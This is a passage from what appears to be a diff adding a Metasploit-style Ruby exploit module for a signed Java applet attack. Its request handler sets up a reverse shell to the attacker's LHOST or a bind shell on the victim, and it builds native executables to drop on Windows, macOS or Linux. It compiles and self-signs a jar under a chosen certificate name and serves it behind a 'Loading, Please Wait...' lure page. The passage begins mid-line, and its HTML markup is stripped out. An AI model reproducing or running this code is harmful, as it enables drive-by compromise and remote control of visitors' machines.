#{datastore['PAYLOADNAME']}() + { + try + { + AccessController.doPrivileged( this ); + } + catch( Exception e ) { System.out.println("Payload instantiation error: " + e); } + } + } +}^ + appletcode = { 'classnames' => [ datastore['APPLETNAME'] ] , + 'codefiles' => [ appletsource ] } + + return appletcode + end + + def on_request_uri( cli, request ) + + if not request.uri.match(/\.jar$/i) + if not request.uri.match(/\/$/) + send_redirect( cli, get_resource() + '/', '') + return + end + + print_status( "Handling request from #{cli.peerhost}:#{cli.peerport}..." ) + + if target.name == 'Generic (Java Payload)' + if datastore['LHOST'] + host = datastore['LHOST'] + port = datastore['LPORT'] + print_status( "Payload will be a Java reverse shell to #{host}:#{port} from #{cli.peerhost}..." ) + else + port = datastore['LPORT'] + datastore['RHOST'] = cli.peerhost + print_status( "Payload will be a Java bind shell on #{cli.peerhost}:#{port}..." ) + end + else + payload = regenerate_payload( cli ) + if not payload + print_status( "Failed to generate the payload." ) + return + end + + if target['Arch'] == ARCH_X86 + data = Msf::Util::EXE.to_win32pe( framework, payload.encoded ) if target['Platform'] == 'win' + data = Msf::Util::EXE.to_osx_x86_macho( framework, payload.encoded ) if target['Platform'] == 'osx' + data = Msf::Util::EXE.to_linux_x86_elf( framework, payload.encoded ) if target['Platform'] == 'linux' + + elsif target['Arch'] == ARCH_PPC + data = Msf::Util::EXE.to_osx_ppc_macho( framework, payload.encoded ) if target['Platform'] == 'osx' + end + + if data + print_status( "Generated executable to drop (#{data.length} bytes)." ) + data = Rex::Text.to_hex( data, prefix="" ) + else + print_status( "Failed to generate the executable." ) + return + end + end + + # TODO: gzip data and parse in java + send_response_html( cli, generate_html( data, host, port ), { 'Content-Type' => 'text/html' } ) + return + end + + appletcode = get_code(cli) + + print_status "Compiling applet classes..." + compile( appletcode['classnames'], appletcode['codefiles'] ) + + print_status "Compile completed. Building jar file..." + + unsignedjar = "unsigned_#{datastore['APPLETNAME']}.jar" + signedjar = "#{datastore['APPLETNAME']}.jar" + + build_jar( unsignedjar, + [ # Applet + datastore['APPLETNAME' ] + ".class", + # PayloadX class + datastore['APPLETNAME'] + "$" + datastore['PAYLOADNAME'] + ".class", + # PayloadX StreamConnector for pure Java payload + datastore['APPLETNAME'] + "$" + datastore['PAYLOADNAME'] + "$StreamConnector.class" ] ) + + print_status "Jar built. Signing..." + + sign_jar( datastore['CERTCN'], unsignedjar, signedjar ) + + # load the jar file + if File.exists? File.join( datastore['JAVACACHE'], signedjar ) + path = File.join( datastore['JAVACACHE'], signedjar ) + fd = File.open( path, "rb" ) + @jar_data = fd.read(fd.stat.size) + fd.close + end + + print_status( "Sending #{datastore['APPLETNAME']}.jar to #{cli.peerhost}:#{cli.peerport}..." ) + send_response( cli, @jar_data, { 'Content-Type' => "application/octet-stream" } ) + + handler( cli ) + + end + + def generate_html( data, host, port ) + html = "Loading, Please Wait..." + html += "

Loading, Please Wait...

" + html += "" + + html += "" if data + html += "" if host + html += "" if port + + html += "" + return html + end + + +end